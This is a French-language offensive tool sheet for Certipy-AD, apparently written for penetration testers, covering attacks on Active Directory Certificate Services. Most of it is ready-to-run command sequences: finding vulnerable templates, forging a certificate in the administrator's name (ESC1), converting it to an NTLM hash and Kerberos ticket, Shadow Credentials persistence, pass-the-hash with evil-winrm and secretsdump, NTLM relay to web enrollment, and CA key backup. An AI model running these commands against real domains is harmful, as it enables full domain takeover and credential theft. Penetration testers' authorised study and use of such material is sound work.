📋 Fiche Outil : Certipy-AD


📋 Complexité & Impact

AD CS est une surface d’attaque complexe. Certipy automatise la détection des vulnérabilités classées de ESC1 à ESC13. Une exploitation réussie (ex: ESC1) permet souvent de passer instantanément d’un utilisateur simple à Administrateur de Domaine en forgean un certificat au nom de l’administrateur.


🎯 Objectif Principal
Identifier des modèles de certificats (Certificate Templates) mal configurés permettant à un utilisateur standard de demander un certificat pour le compte de quelqu’un d’autre (usurpation d’identité), puis utiliser ce certificat pour s’authentifier via Kerberos.

Syntaxe Générale
bash
certipy <MODULE> [options] -u <USER> -p <PASS> -target <TARGET_IP>

Syntaxe

  • Permet de voir les certificats vulnérable
bash
certipy find -u {user}@{domain.local} -p {password} -vulnerable -dc-ip {ip} -stdout
  • Voir les certificats vulnérable exploitable avec bloodhound
code
certipy-ad find -u john.brand@vuln.fsec -p "Password1" -dc-ip 10.20.20.10
  • Générer un fichier pfx
bash
certipy-ad req -u john.brand@vuln.fsec -p Password1 -dc-ip 10.20.20.10 -ca "Vuln-DC01-CA" -target "dc01.vuln.fsec" -template "Custum_ESC1" -upn 'administrateur@vuln.fsec' -sid 'S-1-5-21-3114733929-3234434764-4270126014-500'
  • Récupérer le hash
bash
certipy-ad auth -pfx administrateur.pfx -dc-ip 10.20.20.10 -debug
#se connecter à evil winrm avec le hash

Description

Certipy est une suite offensive ciblant les Services de Certificats Active Directory (AD CS). Elle automatise la chaîne d’attaque complète pour transformer une mauvaise configuration de certificat en compromission totale du domaine.

Concrètement, l’outil permet de :

  1. Auditer (Find) : Scanner l’annuaire pour détecter les modèles de certificats (Templates) mal configurés. Il identifie automatiquement les vecteurs d’attaque connus (classifiés de ESC1 à ESC13).
  1. Usurper (Req) : Exploiter ces failles pour demander et générer un certificat légitime au nom d’un autre utilisateur (souvent l’Administrateur).
  1. S’authentifier (Auth) : Convertir ce certificat volé en Hash NTLM ou en Ticket Kerberos utilisable pour se connecter au système.

Les Vulnérabilités (ESC)

Code Type de Faille Explication Simple
ESC1 Usurpation d’identité (SAN) Le modèle est mal configuré : il autorise le demandeur à spécifier le « Subject Alternative Name » (SAN).

_Impact :_ L’attaquant demande un certificat légitime mais inscrit « Administrateur » dans le champ SAN. L’AD le croit et donne les droits.

ESC4 Contrôle d’Accès (ACL) L’attaquant possède des droits d’écriture (Write) sur l’objet « Modèle de Certificat » dans l’AD.

_Impact :_ L’attaquant modifie la configuration du modèle pour le rendre volontairement vulnérable (par exemple, en activant la faille ESC1) afin de l’exploiter.

ESC8 NTLM Relay (Web) Le service de certificats possède une interface web (Web Enrollment) active sur le port 80/443.

_Impact :_ Il est possible d’intercepter une authentification NTLM sur le réseau (via Responder ou PetitPotam) et de la relayer vers cette page web pour récupérer un certificat au nom de la victime.

Paramètre (Flag)

Module / Flag Description Note / Exemple
find Énumération. Scanne l’AD pour trouver les CA et les modèles vulnérables. Le module le plus important pour commencer.
req Request. Demande un nouveau certificat à l’autorité (CA). Utilisé pour l’exploitation (ex: ESC1).
auth Authenticate. Utilise un certificat (.pfx) pour obtenir un TGT Kerberos et le hash NTLM. Transforme le fichier certificat en accès réel.
shadow Attaque Shadow Credentials. Modifie l’attribut msDS-KeyCredentialLink. Permet la prise de contrôle d’un compte sans changer son mot de passe.
-vulnerable Filtre la sortie de find pour n’afficher que les vulnérabilités confirmées. Indispensable pour éviter le bruit.
-template Spécifie le nom du modèle de certificat à cibler. Ex: -template User
-ca Spécifie le nom de l’Autorité de Certification. Souvent trouvé via la commande find.
-upn User Principal Name. Spécifie l’utilisateur que l’on veut usurper. Ex: -upn administrator@domaine.local.
-dc-ip Adresse IP du Contrôleur de Domaine. Nécessaire si le DNS n’est pas configuré.

Exemple

1. Énumération des vulnérabilités (L’audit)

Recherche automatique des failles connues (ESC1, ESC2, etc.) et sauvegarde des résultats._

bash
certipy find -u 'peter' -p 'Pass123' -dc-ip 10.10.10.10 -vulnerable -stdout

_Si la sortie affiche [!] Vulnerabilities found: ESC1, l’exploitation est possible._

2. Exploitation ESC1 (Demande de certificat malveillant)

On demande un certificat en prétendant être l’Administrateur (via le template vulnérable trouvé, ex: ‘WebServer’)._

bash
certipy req -u 'peter' -p 'Pass123' -dc-ip 10.10.10.10 -ca 'CORPORATE-CA' -template 'VulnTemplate' -upn administrator@marvel.local

_Résultat : Un fichier administrator.pfx est généré._

3. Authentification (Transformation en Ticket)

On utilise le certificat volé pour s’authentifier auprès du KDC et récupérer un ticket._

bash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

_Résultat : Récupération du NT Hash de l’admin et d’un fichier ccache (Ticket TGT)._

4. Shadow Credentials (Persistance / Takeover)

Ajout d’une clé au compte machine pour obtenir un accès sans mot de passe._

bash
certipy shadow auto -u 'peter' -p 'Pass123' -account 'PC-CIBLE$' -dc-ip 10.10.10.10

Suivi & Recommandation

1. Détection (find) Lancer systématiquement certipy find -vulnerable dès qu’un compte valide est compromis sur le domaine.

  • Analyser les fichiers texte ou JSON générés. Rechercher la mention « Enrollee Supplies Subject: True » combinée à « Client Authentication » (Signature de l’ESC1).

2. Exploitation (req) Si un template vulnérable est identifié, noter son nom et le nom de la CA (« Cert Authority »). Lancer la requête en ciblant un compte à haut privilège (-upn administrator ou -upn DC01$).

3. Accès (auth) Une fois le .pfx obtenu, utiliser certipy auth. La commande retourne souvent le Hash NTLM de la victime. Ce hash peut être utilisé directement avec :

  • evil-winrm -H <HASH>
  • impacket-secretsdump

4. Nettoyage Les certificats émis sont loggués sur le serveur CA. En mission réelle, il convient de révoquer les certificats créés si possible, bien que cela nécessite souvent des droits d’administration.

OLD

bash
# Énumération des templates vulnérables
certipy find -u user@domain.local -p password -dc-ip 192.168.1.100

# Énumération complète avec output
certipy find -u user@domain.local -p password -dc-ip 192.168.1.100 
    -output certipy_enum

# ESC1 - Template avec SAN
certipy req -u user@domain.local -p password -dc-ip 192.168.1.100 
    -ca CA-NAME -template VulnerableTemplate 
    -upn administrator@domain.local

# ESC2 - Any Purpose EKU
certipy req -u user@domain.local -p password -dc-ip 192.168.1.100 
    -ca CA-NAME -template SubCA

# ESC3 - Enrollment Agent
certipy req -u user@domain.local -p password -dc-ip 192.168.1.100 
    -ca CA-NAME -template EnrollmentAgent

# ESC4 - Vulnerable ACL
certipy template -u user@domain.local -p password 
    -template VulnerableTemplate -save-old

# ESC8 - Web Enrollment
certipy relay -ca http://ca.domain.local/certsrv/

# Authentification avec certificat
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.100

# Backup de certificat (Golden Certificate)
certipy ca -u admin@domain.local -p password 
    -ca CA-NAME -backup